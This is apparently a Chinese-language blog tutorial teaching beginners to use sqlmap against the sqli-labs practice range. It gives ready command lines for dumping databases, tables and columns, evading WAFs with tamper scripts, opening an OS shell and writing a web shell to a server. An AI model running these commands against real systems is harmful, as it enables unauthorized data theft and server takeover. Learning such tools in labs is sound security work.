一篇博客带你从零基础学会使用sqlmap

写在前面:

    说实话对sqlmap的使用我也是刚开始学,以前是在查询框或者hackbar或者直接在URL里面写SQL语句进行SQL注入,sqlmap大大简化了手工注入的操作和难度,我也是刚接触,但确实很好用,目前我所认知的一个大概的整体框架就是:

sqlmap -u "网站URL/?注入点=1" 后面再追加一些常用参数即可

不必记住每个参数,记一些常用的就行,知道这个sqlmap大概怎么个用法就好了,而且每次遇到的注入情况也不一样。

更加详细的手工注入流程(实战CTF例题讲解)可以参考我的另一篇博客http://t.csdn.cn/liMal

sqlmap是用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器权限,包括获取数据库中存储的数据,访问操作系统文件,甚至可以通过外带数据连接的方式执行操作系统命令。

常用参数

sqlmap输入结果时会用到-v参数,,有7个等级,默认的等级是1,详细如下:
0:只显示Python的tracebacks信息,错误信息和关键信息。
1:显示普通信息【INFO】和警告信息【WARNING】。
2:同时显示调试信息【DEBUG】。
3:同时显示注入使用的攻击载荷。
4:同时显示HTTP请求。
5:同时显示HTTP响应头。
6:同时显示HTTP响应体。

    sqlmap中level等级分为1~5,默认情况下等级为1,检查Cookie时等级最少为2,检查User-Agent时等级最少为3,5级包含的Payload最多,会自动破解出Cookie、XFF等头部注入,对应它的速度也比较慢。
    sqlmap中risk等级分为0~3,默认情况下等级为1,会检测大部分的测试语句,等级为2时会增加基于事件的测试语句,等级为3时会增加or语句的SQL注入测试。
    sglmap支持以下5种不同的注入模式:基于布尔的盲注,即可以根据返回页面判断条件真假的注入:基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句判断时间延迟语句是否执行(页面返回时间是否增加);基于报错注入,即页面会返回错误信息,或者把注入语句的结果直接返回在页面中;联合查询注入,可以使用UNION情况下的注入;堆查询注入,可以同时执行多条语句执行时的注入。


在MySQL数据库中,它一般会用以下语句:
检测注入点:sqlmap -u "www.test.com/?id=1"
指定检测参数:sqlmap -u "www.test.com/?id=1&page=2" -p id
识别数据库类型:sqlmap -u "www.test.com/?id=1" -f
识别数据库版本:sqlmap -u "www.test.com/?id=1" -b

在此,我以sqllabs来演示部分语句:

sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1"

一篇博客带你从零基础学会使用sqlmap_第1张图片

 检测过程中我们可能会遇到一些询问,直接选择Y即可

一篇博客带你从零基础学会使用sqlmap_第2张图片

进行这样的一个检测后,sqlmap给出了很多payload,比如我们尝试下面这个一篇博客带你从零基础学会使用sqlmap_第3张图片

 直接爆出了一串password一篇博客带你从零基础学会使用sqlmap_第4张图片

列出当前数据库:sqlmap -u "www.test.com/?id=1" --current-db
列出所有数据库:sqlmap -u "www.test.com/?id=1" --dbs
列出指定数据库的表:sqlmap -u "www.test.com/?id=1" -D test --tables
列出指定表的字段:sqlmap -u "www.test.com/?id=1" -D test -T user --columns
避开waf等设备:sqlmap -u "www.test.com/?id=1" --tamper xxx.py

(sqlmap自带的Python文件在tamper目录下)

同样,以sqllabs靶场中第一题为例:

sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --dbs 

一篇博客带你从零基础学会使用sqlmap_第5张图片

一篇博客带你从零基础学会使用sqlmap_第6张图片

 发现它有一个mysql数据库,我们尝试列出mysql这个数据库中的表

sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" -D mysql --tables
一篇博客带你从零基础学会使用sqlmap_第7张图片

一篇博客带你从零基础学会使用sqlmap_第8张图片

 sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" -D func -T user --columns

一篇博客带你从零基础学会使用sqlmap_第9张图片

获取交互式shell:

sqlmap -u "www.test.com/?id=1"--os-shell

需要具备三个条件:

必须是数据库root权限;已经获取网站的路径;GPC设置为off。

sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --os-shell 

一篇博客带你从零基础学会使用sqlmap_第10张图片

 指定注入模式:
sqlmap -u "www.test.com/?id=1" --technique (B/E/U/S/T)
B:Boolean-based blind SQL injection(布尔型注入)。
E:Error-based SQL injection(报错型注入)。
U:UNION query SQL injection(可联合查询注入)。
S: Stacked queries SQL injection(可多语句查询注入)。
T: Time-based blind SQL injection(基于时间延迟注入)。

比如我们这里指定布尔型注入:

sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --technique B 

一篇博客带你从零基础学会使用sqlmap_第11张图片

补充:

file协议写shell:

sqlmap -u "www.test.com/?id=1" --file-write"本地文件" --file-dest "网站绝对路径+文件名"

在检测POST型注入的时候一般会将POST包放入一个txt文档里
检测注入点如下:
sqlmap -r tets.txt

Cookie型注入:
sqlmap -u "www.test.com/?id=1" --cookie "xxxxx"

你可能感兴趣的:(SQL,kali,web,数据库,sqlmap,MySQL,SQL注入,经验分享)